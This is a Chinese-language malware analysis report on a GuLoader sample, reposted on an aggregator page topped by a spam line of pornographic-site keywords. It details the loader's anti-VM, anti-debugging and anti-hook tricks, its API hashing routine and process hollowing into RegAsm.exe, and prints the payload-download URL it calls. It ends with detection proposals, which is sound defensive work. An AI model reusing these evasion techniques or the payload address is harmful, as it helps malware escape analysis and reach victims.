日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

GuLoader分析报告

發(fā)布時(shí)間:2024/5/8 编程问答 37 豆豆
生活随笔 收集整理的這篇文章主要介紹了 GuLoader分析报告 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

GuLoader分析報(bào)告

文章目錄

  • GuLoader分析報(bào)告
  • 基本信息
      • 樣本基本信息
      • 主要執(zhí)行流程
    • 關(guān)鍵技術(shù)概覽
      • 反虛擬機(jī)
        • 1.內(nèi)存遍歷檢測字符串
        • 2.qemu-ga.exe
        • 3.窗口數(shù)量檢測
      • 反逆向分析
        • 1.花指令
        • 2.反調(diào)試
      • DLL函數(shù)加載
      • 反HOOK
        • 1.檢測一
        • 2.檢測二
        • 3.檢測三
        • 4,檢測四
      • 傀儡進(jìn)程
      • 加密特征
  • 詳細(xì)分析
        • 加載器部分
        • 傀儡進(jìn)程部分
  • 行為檢測
    • 修復(fù)HOOK&HOOK檢測
      • 概述
      • 可行性
    • 窗口數(shù)檢測
      • 概述
      • 可行性
    • 傀儡進(jìn)程檢測
      • 概述
      • 可行性
    • qemu-ga.exe檢測
      • 概述
      • 可行性
    • 反調(diào)試檢測
      • ZwSetInformationThread
        • 概述
        • 可行性
      • patch DebugBreakPoint&DbgUiRemoteBreakin
        • 概述
        • 可行性
      • 時(shí)間差檢測
        • 概述
        • 可行性
      • 硬件斷點(diǎn)檢測
        • 概述
        • 可行性
    • API檢測
        • 概述
        • 可行性

基本信息

樣本基本信息

樣本名稱b89d53ad687ce9c4a808fdab9190a497.exe
樣本類型exe
惡意類型加載器
樣本MD5b89d53ad687ce9c4a808fdab9190a497
樣本SHA30e2ae0a9d77e37e1dc03fe8d9769672184e1ff5

主要執(zhí)行流程

樣本分配出一段空間,解密shellcode后經(jīng)過一系列調(diào)試檢測,虛擬機(jī)檢測,HOOK檢測之后。啟動傀儡進(jìn)程RegAsm.exe,傀儡進(jìn)程其實(shí)為其本身,不過執(zhí)行路徑不同,同樣經(jīng)過一系列檢測后進(jìn)行文件下載…

后面的話主要就是下載數(shù)據(jù),異或解密后運(yùn)行竊密木馬(這個(gè)網(wǎng)站掛了沒分析出)

關(guān)鍵技術(shù)概覽

反虛擬機(jī)

1.內(nèi)存遍歷檢測字符串

遍歷內(nèi)存,將內(nèi)存中的字符串進(jìn)行加密后與特定數(shù)據(jù)進(jìn)行比較,0x2d9cc76c,0xdfcb8f12,0x27AA3188,0xF21FD920,0X3E17ADE6,0x7F21185B,0XA7C53F01,0XB314751D

其中檢測到VmtoolsdControlWndClass字符串,彈窗程序不能在虛擬機(jī)中運(yùn)行

2.qemu-ga.exe

調(diào)用了CreateFileA(“C:\Program Files\Qemu-ga\qemu-ga.exe”,0,1,0,3,0,0)

返回error path not found 否則退出程序

3.窗口數(shù)量檢測

EnumWindows檢測窗口數(shù)量與12進(jìn)行比較

反逆向分析

1.花指令

程序中加了大量花指令,干擾IDA的逆向分析,且其中的花指令還會參與到異或運(yùn)算之中,不方便進(jìn)行補(bǔ)丁去除。

2.反調(diào)試

  • 將DebugBreakPoint函數(shù)patch為0x90
  • 將DbgUiRemoteBreakin前幾個(gè)字節(jié)給Patch了,變成了exit(0)函數(shù)
  • rdstc時(shí)間差檢測,反調(diào)試
  • 調(diào)用了ZwSetInformationThread(-2,0x11,0,0),將自身從調(diào)試器中分離出來
  • 調(diào)用CreateProcessInternalW等函數(shù)之前會檢測第一個(gè)字節(jié)是否為0xcc斷點(diǎn)
  • ZwGetContextThread(-2,)獲取線程上下文,判斷Dr0,DR1,DR2,DR3,DR6,DR7的值
  • 傀儡進(jìn)程寫入前,會將程序前半部分自身不斷異或,如果程序有0xcc斷點(diǎn)或者patch,會造成后續(xù)傀儡進(jìn)程的異常

DLL函數(shù)加載

程序沒有直接調(diào)用DLL函數(shù),而是解析DLL格式,根據(jù)函數(shù)名稱加密的值,來確定調(diào)用的函數(shù)地址。

反HOOK

檢測ntdll.dll之中的函數(shù)是否被HOOK

1.檢測一

檢測如下特征二進(jìn)制碼

B8 00 00 00 00 mov eax,0 BA * * * * * mov edx,****//這里感覺有點(diǎn)問題 50 push eax c3 ret 90 nop 90 nop

將會被修復(fù)

2.檢測二

B8 **** E0 FF

B8 **** mov eax ****E0 FF jmp eax將其patch為 mov eax ,5 mov edx,xxxxx

3.檢測三

檢測點(diǎn)為50 c3 90 90

push eax retn

4,檢測四

檢測點(diǎn)E8 00 00 00 00****** C2 14 ***** C2 14

call $0 ..... retn 0x14 ..... retn 0x14

傀儡進(jìn)程

啟動了RegAsm.exe作為傀儡進(jìn)程

加密特征

__asm {mov edx,0x1505 label1:mov ebx,dexshl edx,5add edx,ebxmovzx ebx,byte ptr ds:[esi];//esi為函數(shù)名稱地址add edx,ebxadd esi,0x1cmp word ptr ds:[esi],0jnz label1 };如果dll加密,奇數(shù)位參與相加運(yùn)算,add esi,0x2

詳細(xì)分析

加載器部分

程序首先分配一段內(nèi)存,四個(gè)字節(jié)為一組0x929254c4異或密鑰shellcode之后利用push,pop對新分配內(nèi)存進(jìn)行填值

利用PE結(jié)構(gòu)獲取dll函數(shù)地址,調(diào)用ZwQueryVirtualMemoey(-1,0x10000,0,0x12F700,0X1c,0)<0xe7639e>

遍歷內(nèi)存直到出現(xiàn)數(shù)值不為0,后面進(jìn)行E76009加密,將加密后的數(shù)據(jù)與特定數(shù)據(jù)進(jìn)行比較0x2d9cc76c,0xdfcb8f12,0x27AA3188,0xF21FD920,0X3E17ADE6,0x7F21185B,0XA7C53F01,0XB314751D,在0x612B68檢測到字符串vmtoolsdControlWndClass

調(diào)用了EnumWindows檢測窗口數(shù)量與12進(jìn)行比較大于等于則跳轉(zhuǎn)

調(diào)用了ZwProtectVirtualMemory(-1,0x12f80c,12f810,0x40,0x12f814);

12f80c→7c921000

12f810→7a000

12f814→0

將Ntdll內(nèi)存修改為可讀可寫可執(zhí)行


將DebugBreakPoint函數(shù)修改為0x90 nop

將DbgUiRemoteBreakin前幾個(gè)字節(jié)給Patch了,變成了exit(0)函數(shù)

如果內(nèi)存中存在如下組合

B8 00 00 00 00 mov eax,0

BA * * * * * mov edx,****

50 push eax

c3 ret

90 nop

90 nop

將會啟動patch

檢測數(shù)據(jù) B8 **** E0FF,mov eax,jmp eax,將其patch為mov eax ,5 mov edx,xxxxx

檢測數(shù)據(jù)E8 00 00 00 00,會將前面5個(gè)數(shù)據(jù)給patch


調(diào)用了ZwSetInformationThread(-2,0x11,0,0)進(jìn)行反調(diào)試


調(diào)用了CreateFileA(“C:\Program Files\Qemu-ga\qemu-ga.exe”,0,1,0,3,0,0)

返回error path not found 否則退出程序

時(shí)間差檢測反調(diào)試

ZwGetContextThread(-2)獲取線程上下文信息,并且比較DR0,DR1,DR2,DR3,DR6,DR7,判斷是否存在調(diào)試行為

檢測CreateProcessInternalW等函數(shù)第一個(gè)字節(jié)是否為,0xcc(檢測函數(shù)斷點(diǎn))或者是否為0x0f0b,0xcd03(這兩個(gè)不知道檢測啥可能是hook)

調(diào)用了CreateProcessInternalW(0, “C:\WINDOWS[Microsoft.NET](http://microsoft.net/)\Framework\v2.0.50727\RegAsm.exe”,“C:\Documents and Settings\Administrator\桌面\GuLoad”,0xE80000,0XE80000,0,4,0,0,0XE80400,0XE80800,0)

0XE8000→0XC

0XE80400→0X44

后續(xù)調(diào)用了OpenFile,ZwCreateSection,ZwMapViewOfSection

ZwWriteVirtualMemory(0x9c,0x90000,0xe70000,0x9000,0x12f928)

ZwGetContextThread,ZwSetContextThread,ZwResumeThread,ZwWaitForSingleObject,ZwTerminateProcess且在每次調(diào)用之前都會判斷硬件斷點(diǎn),并且在調(diào)用的過程中異或了代碼段,其中ZwWriteVirtualMemory函數(shù)的就是不斷異或后的代碼段,其實(shí)是本身,如果下斷點(diǎn)的話會有問題。

傀儡進(jìn)程部分

InternetSetOptionA(0xcc0004,0x2,0x19fbd8,4)

InternetOpenUrlA(0xcc0004,"http://hosseinsoltani.ir/wp-includes/IXR/gozman_FuZUeePhB40.bin“)

InternetReadFile(0,0x1fe0000,0x10000,0x19fbc)

InternetCloseHandle

再次InternetOpenA(“Mozilla/5.0 (Windows NT 6.1; WOWTrident/7.0; rv:11.0)”,0,0,0,0)

InternetOpenUrlA(0xcc0004,“http://hosseinsoltani.ir/wp-includes/IXR/gozman_FuZUeePhB40.bin”)

InternetReadFile(0,0x1fe0000,0x10000,0x19fbc)

InternetCloseHandle

因?yàn)榫W(wǎng)站掛了,開始無限循環(huán)…

行為檢測

修復(fù)HOOK&HOOK檢測

概述

修復(fù)HOOK之前調(diào)用了ZwProtectVirtualMemory,修改動態(tài)鏈接庫內(nèi)存凌空為可讀可寫可執(zhí)行,可以先一步HOOK ProtectVirtualMemory相關(guān)函數(shù).用來判斷相關(guān)行為

可行性

檢測其參數(shù),如果為dll領(lǐng)空,則說明存在反HOOK行為。

針對HOOK可以采用一些不同的inline hook方式進(jìn)行干擾檢測

窗口數(shù)檢測

概述

可以嘗試HOOK EnumWindows函數(shù),可能存在窗口數(shù)行為。

可行性

不過一般的程序也可能會有此行為,所以可能進(jìn)行誤判

傀儡進(jìn)程檢測

概述

檢測 CreateProcessInternW,ZwSetContextThread,ZwResumeThread,相關(guān)函數(shù)參數(shù)來判斷是否存在傀儡進(jìn)程。

可行性

Hook CreateProcessInternW函數(shù),獲取啟動進(jìn)程名稱

Hook ZwSetContextThread和ZwResumeThread函數(shù)參數(shù)可以確定句柄。

qemu-ga.exe檢測

概述

檢測字符串為C:\Program Files\Qemu-ga\qemu-ga.exe,說明存在虛擬機(jī)檢測。

可行性

可以通過HookCreateFileA文件操作相關(guān)函數(shù),查看其參數(shù)確定行為

反調(diào)試檢測

ZwSetInformationThread

概述

HOOK API ZwSetInformationThread 判斷其行為

可行性

判斷第二個(gè)參數(shù)為0x11說明存在反調(diào)試行為

patch DebugBreakPoint&DbgUiRemoteBreakin

概述

判斷函數(shù)內(nèi)存前幾個(gè)字節(jié)是否被patch

可行性

根據(jù)PEB獲取kernel32.dll基址,獲取GetProcAddress地址后找到LoadLibrary地址,再利用LoadLibary函數(shù)獲取ntdll地址,最后利用GetPorcAddress獲取DebugBreakPoint,DbgUiRemoteBreakin地址,查詢前幾個(gè)字節(jié)是否有變動。如果改變則可能存在反調(diào)試行為。

時(shí)間差檢測

概述

檢測機(jī)器碼0f31用來判斷rdstc時(shí)間差檢測反調(diào)試。

可行性

由于機(jī)器碼長度過短,且程序在運(yùn)行過程中不斷異或加解密自身,可能會存在誤報(bào)現(xiàn)象。

硬件斷點(diǎn)檢測

概述

通過Hook ZwGetContextThread來確定其可疑行為

可行性

不過普通程序也會調(diào)用該API,且獲取線程上下文不一定是判斷硬件斷點(diǎn)所用,所以可能會誤判

API檢測

概述

通過檢測導(dǎo)入表來判斷API

可行性

程序解析DLL格式,遍歷函數(shù)名稱,通過函數(shù)名稱生成哈希比較,來確定獲取的DLL的名稱及其地址,不太好檢測導(dǎo)入DLL或者字符串來判斷導(dǎo)入函數(shù)確定行為

總結(jié)

以上是生活随笔為你收集整理的GuLoader分析报告的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。